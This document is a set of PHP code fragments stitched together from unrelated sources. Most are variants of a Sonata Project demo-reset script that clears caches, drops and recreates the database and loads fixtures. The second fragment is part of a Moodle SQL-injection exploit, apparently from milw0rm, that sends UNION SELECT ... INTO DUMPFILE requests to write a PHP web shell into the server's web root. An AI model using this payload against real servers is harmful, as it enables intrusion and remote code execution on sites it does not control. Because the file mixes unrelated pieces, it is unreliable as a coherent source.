* @param \Symfony\Component\Console\Output\ConsoleOutput $output * * @return boolean */ function execute_commands($commands, $output) { foreach ($commands as $command) { $output->writeln(sprintf('<info>Executing : </info> %s', $command)); $p = new \Symfony\Component\Process\Process($command); $p->setTimeout(null); $p->run(function ($type, $data) use($output) { $output->write($data); }); if (!$p->isSuccessful()) { return false; } $output->writeln(""); } return true; } $output->writeln("<info>Resetting demo</info>"); $fs->remove(sprintf('%s/web/uploads/media', $rootDir)); $fs->mkdir(sprintf('%s/web/uploads/media', $rootDir)); $fs->copy(__DIR__ . '/src/Sonata/Bundle/DemoBundle/DataFixtures/data/robots.txt', __DIR__ . '/web/app/robots.txt', true); $success = execute_commands(array('rm -rf app/cache/*', './sonata api cache:warmup --env=prod --no-debug', './sonata app cache:warmup --env=prod --no-debug', './sonata app cache:create-cache-class --env=prod --no-debug', './sonata app doctrine:database:drop --force', './sonata app doctrine:database:create', './sonata app doctrine:schema:update --force', './sonata app doctrine:fixtures:load --verbose --env=dev', './sonata app sonata:page:update-core-routes --site=all --no-debug', './sonata app sonata:page:create-snapshots --site=all --no-debug', './sonata app assets:install --symlink web', './sonata app sonata:admin:setup-acl', 'php -d memory_limit=1024M ./sonata app sonata:admin:generate-object-acl'), $output); if (!$success) { $output->writeln('<info>An error occurs when running a command!</info>'); exit(1); } $output->writeln('<info>Done!</info>'); exit(0);
$SQL = "'UNION SELECT 0,'" . $SHELL . "',0,0,0,0,0,0 INTO DUMPFILE '" . $pathtoWWW . $path . "shell.php' FROM mdl_course_categories/*"; $SQL = urlencode($SQL); $packet = "GET " . $p . "course/category.php?id=" . $SQL . " HTTP/1.0\r\n"; $packet .= "Host: " . $host . "\r\n"; $packet .= "Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); $SQL = "'UNION SELECT 0,0,0,0,'" . $SHELL . "',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 INTO DUMPFILE '" . $pathtoWWW . $path . "shell.php' FROM mdl_course/*"; $SQL = urlencode($SQL); $packet = "GET " . $p . "course/info.php?id=" . $SQL . " HTTP/1.0\r\n"; $packet .= "Host: " . $host . "\r\n"; $packet .= "Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); $SQL = "'UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'" . $SHELL . "',0,0,0,0,0,0,0,0 INTO DUMPFILE '" . $pathtoWWW . $path . "shell.php' FROM mdl_user/*"; $SQL = urlencode($SQL); $packet = "GET " . $p . "iplookup/ipatlas/plot.php?address=127.0.0.1&user="******" HTTP/1.0\r\n"; $packet .= "Host: " . $host . "\r\n"; $packet .= "Connection: Close\r\n\r\n"; show($packet); sendpacketii($packet); execute_commands(); } else { echo 'Fill in requested fields, optionally specify a proxy'; } ?> # milw0rm.com [2005-11-10]
$output = new \Symfony\Component\Console\Output\ConsoleOutput(); // does the parent directory have a parameters.yml file if (is_file(__DIR__ . '/../parameters.demo.yml')) { $fs->copy(__DIR__ . '/../parameters.demo.yml', __DIR__ . '/app/config/parameters.yml', true); } if (!is_file(__DIR__ . '/app/config/parameters.yml')) { $output->writeln('<error>no default app/config/parameters.yml file</error>'); exit(0); } /** * @param $commands * @param \Symfony\Component\Console\Output\ConsoleOutput $output * @return void */ function execute_commands($commands, $output) { foreach ($commands as $command) { $output->writeln(sprintf('<info>Executing : </info> %s', $command)); $p = new \Symfony\Component\Process\Process($command); $exit = $p->run(function ($type, $data) use($output) { $output->write($data); }); $output->writeln(""); } } $output->writeln("<info>Resetting demo</info>"); $fs->remove(sprintf('%s/web/uploads/media', $rootDir)); $fs->mkdir(sprintf('%s/web/uploads/media', $rootDir)); $fs->copy(__DIR__ . '/src/Sonata/Bundle/DemoBundle/DataFixtures/data/robots.txt', __DIR__ . '/web/robots.txt', true); execute_commands(array('bin/vendors install', 'app/console cache:warmup --env=dev', 'app/console cache:create-cache-class --env=dev', 'app/console doctrine:schema:update --force', 'app/console doctrine:fixtures:load --verbose', 'app/console sonata:page:update-core-routes --site=all', 'app/console sonata:page:create-snapshots --site=all', 'app/console assets:install --symlink web', 'app/console cache:warmup --env=prod', 'app/console cache:create-cache-class --env=prod'), $output); $output->writeln('<info>Done!</info>');
/ ___/ __ \\/ __ \\/ __ / __/ __ / (__ ) /_/ / / / / /_/ / /_/ /_/ / /____/\\____/_/ /_/\\__,_/\\__/\\__,_/ SONATA ); $output->writeln(""); $output->writeln("<info>Resetting demo, this can take a few minutes</info>"); $fs->remove(sprintf('%s/web/uploads/media', $rootDir)); $fs->mkdir(sprintf('%s/web/uploads/media', $rootDir)); // find out the default php runtime $bin = sprintf("%s -d memory_limit=-1", defined('PHP_BINARY') ? PHP_BINARY : 'php'); if (extension_loaded('xdebug')) { $output->writeln("<error>WARNING, xdebug is enabled in the cli, this can drastically slowing down all PHP scripts</error>"); } $success = execute_commands(array(array($bin . ' ./bin/sonata-check.php', 'Checking Sonata Project\'s requirements', false), array(function (OutputInterface $output) use($fs) { $fs->remove("app/cache/prod"); $fs->remove("app/cache/dev"); return true; }, 'Deleting prod and dev cache folders', false), array(function (OutputInterface $output) use($fs) { return $fs->exists("app/config/parameters.yml"); }, 'Check for app/config/parameters.yml file', false), array($bin . ' ./app/console cache:create-cache-class --env=prod --no-debug', 'Creating the class cache', false), array($bin . ' ./app/console doctrine:database:drop --force', 'Dropping the database', true), array($bin . ' ./app/console doctrine:database:create', 'Creating the database', false), array($bin . ' ./app/console doctrine:schema:update --force', 'Creating the database\'s schema', false), array($bin . ' -d max_execution_time=600 ./app/console doctrine:fixtures:load --verbose --env=dev --no-debug', 'Loading fixtures', false), array($bin . ' ./app/console sonata:news:sync-comments-count', 'Sonata - News: updating comments count', false), array($bin . ' ./app/console sonata:page:update-core-routes --site=all --no-debug', 'Sonata - Page: updating core route', false), array($bin . ' ./app/console sonata:page:create-snapshots --site=all --no-debug', 'Sonata - Page: creating snapshots from pages', false), array($bin . ' ./app/console assets:install --symlink web', 'Configure assets', false), array($bin . ' ./app/console sonata:admin:setup-acl', 'Security: setting up ACL', false), array($bin . ' ./app/console sonata:admin:generate-object-acl', 'Security: generating object ACL', false)), $output); if (!$success) { $output->writeln('<info>An error occurs when running a command!</info>'); exit(1); } $output->writeln(''); $output->writeln('<info>What\'s next ?!</info>'); $output->writeln(sprintf(' - Configure your webserver to point to the %s/web folder.', realpath(__DIR__ . DIRECTORY_SEPARATOR . '..'))); $output->writeln(' - Review the documentation: https://sonata-project.org/bundles'); $output->writeln(' - Follow us on twitter: https://twitter.com/sonataproject'); exit(0);
{ foreach ($commands as $command) { $output->writeln(sprintf('<info>Executing : </info> %s', $command)); $p = new \Symfony\Component\Process\Process($command); $p->setTimeout(null); $p->run(function ($type, $data) use($output) { $output->write($data, false, OutputInterface::OUTPUT_RAW); }); if (!$p->isSuccessful()) { return false; } $output->writeln(""); } return true; } // find out the default php runtime $bin = 'php'; if (defined('PHP_BINARY')) { $bin = PHP_BINARY; } $output->writeln("<info>Resetting demo</info>"); $fs->remove(sprintf('%s/web/uploads/media', $rootDir)); $fs->mkdir(sprintf('%s/web/uploads/media', $rootDir)); $fs->copy(__DIR__ . '/../src/Sonata/Bundle/DemoBundle/DataFixtures/data/robots.txt', __DIR__ . '/../web/app/robots.txt', true); $success = execute_commands(array('rm -rf ./app/cache/*', $bin . ' ./app/console cache:warmup --env=prod --no-debug', $bin . ' ./app/console cache:create-cache-class --env=prod --no-debug', $bin . ' ./app/console doctrine:database:drop --force', $bin . ' ./app/console doctrine:database:create', $bin . ' ./app/console doctrine:schema:update --force', $bin . ' -d memory_limit=1024M -d max_execution_time=600 ./app/console doctrine:fixtures:load --verbose --env=dev --no-debug', $bin . ' ./app/console sonata:news:sync-comments-count', $bin . ' ./app/console sonata:page:update-core-routes --site=all --no-debug', $bin . ' ./app/console sonata:page:create-snapshots --site=all --no-debug', $bin . ' ./app/console assets:install --symlink web', $bin . ' ./app/console sonata:admin:setup-acl', $bin . ' -d memory_limit=1024M ./app/console sonata:admin:generate-object-acl'), $output); if (!$success) { $output->writeln('<info>An error occurs when running a command!</info>'); exit(1); } $output->writeln('<info>Done!</info>'); exit(0);
foreach ($commands as $command) { $output->writeln(sprintf('<info>Executing : </info> %s', $command)); $p = new \Symfony\Component\Process\Process($command); $p->setTimeout(null); $p->run(function ($type, $data) use($output) { $output->write($data, false, OutputInterface::OUTPUT_RAW); }); if (!$p->isSuccessful()) { return false; } $output->writeln(""); } return true; } // find out the default php runtime $bin = 'php'; if (defined('PHP_BINARY')) { $bin = PHP_BINARY; } $output->writeln("<info>Resetting project</info>"); $fs->remove(sprintf('%s/web/uploads/media', $rootDir)); $fs->mkdir(sprintf('%s/web/uploads/media', $rootDir)); $output->writeln("<info>Setting symlink app.php => index.php</info>"); $fs->symlink(sprintf('%s/web/app.php', $rootDir), sprintf('%s/web/index.php', $rootDir)); $success = execute_commands(array('rm -rf ./app/cache/*', $bin . ' ./app/console cache:warmup --env=prod --no-debug', $bin . ' ./app/console cache:create-cache-class --env=prod --no-debug', $bin . ' ./app/console doctrine:database:drop --force', $bin . ' ./app/console doctrine:database:create', $bin . ' ./app/console doctrine:schema:update --force', $bin . ' -d memory_limit=1024M -d max_execution_time=600 ./app/console doctrine:fixtures:load --verbose --env=dev --no-debug', $bin . ' ./app/console assets:install --symlink web'), $output); if (!$success) { $output->writeln('<info>An error occurs when running a command!</info>'); exit(1); } $output->writeln('<info>Done!</info>'); exit(0);